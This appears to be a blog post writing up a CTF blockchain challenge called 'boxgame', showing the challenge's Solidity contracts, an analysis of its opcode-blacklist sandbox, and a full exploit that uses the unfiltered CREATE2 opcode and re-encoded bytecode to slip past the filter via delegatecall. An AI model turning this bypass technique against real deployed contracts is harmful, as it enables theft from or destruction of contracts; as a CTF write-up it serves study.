Fork me on GitHub
pikachu's Blog

华为鲲鹏计算场区块链 boxgame

前言

  • 华为鲲鹏计算场区块链题目
  • 一个沙箱游戏,比较简单

Source

  • 题目合约如下所示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

constructor(bytes memory a) payable public {
assembly {
return(add(0x20, a), mload(a))
}
}

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function payforflag(address payable _addr) public {

require(_addr != address(0));

target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}
  • 构造函数中的真实合约如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

function payforflag(address payable _addr) public {

require(_addr != address(0));

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

_addr.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

Analyse

  • 合约的 constructor 函数中部署的合约才是真正的合约,所以分析构造函数里面的字节码即可
  • 其实相当于一个沙盒,过滤了 f0 f1 f2 f4 fa ff 这些字节,即攻击合约中字节码不能出现这些字节,可以发现 f5 对应的 create2 没有被过滤,所以可用 create2 创建一个 emit ForFlag(0) 的合约,中间如果有禁止的字节,转换一下即可

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
contract pikachu {

/*
emit ForFlag(address(0));

7F PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
60 PUSH1 0x00
60 PUSH1 0x40
51 MLOAD
80 DUP1
82 DUP3
73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
16 AND
73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
16 AND
81 DUP2
52 MSTORE
60 PUSH1 0x20
01 ADD
91 SWAP2
50 POP
50 POP
60 PUSH1 0x40
51 MLOAD
80 DUP1
91 SWAP2
03 SUB
90 SWAP1
A1 LOG1
*/
// 将上述字节码通过一些转换不包含f0 f1 f2 f4 fa ff即可
constructor() public payable {
assembly {
mstore(0x500, 0x7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9)
mstore(0x520, 0xe27f000000000010000000000000000000000000000000000100000000000000)
mstore(0x540, 0x0000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73)
mstore(0x560, 0x1111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeee)
mstore(0x580, 0xeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111)
mstore(0x5a0, 0x0116815260200191505060405180910390a13460b26105003031f50000000000)
return(0x500, 0x5c0)
}
}
}

contract Hack {
BoxGame private constant target = BoxGame(0x4c3aa84018A031C11bE09e4b2dCC346Ae055956d);

constructor() public payable {
bool result;

// emit ForFlag(0)
pikachu hack = new pikachu();
(result, ) = address(target).call(abi.encodeWithSelector(
0xc1803191,
hack
));
require(result);
}
}
  • 直接部署 Hack 即可
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/boxgame/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!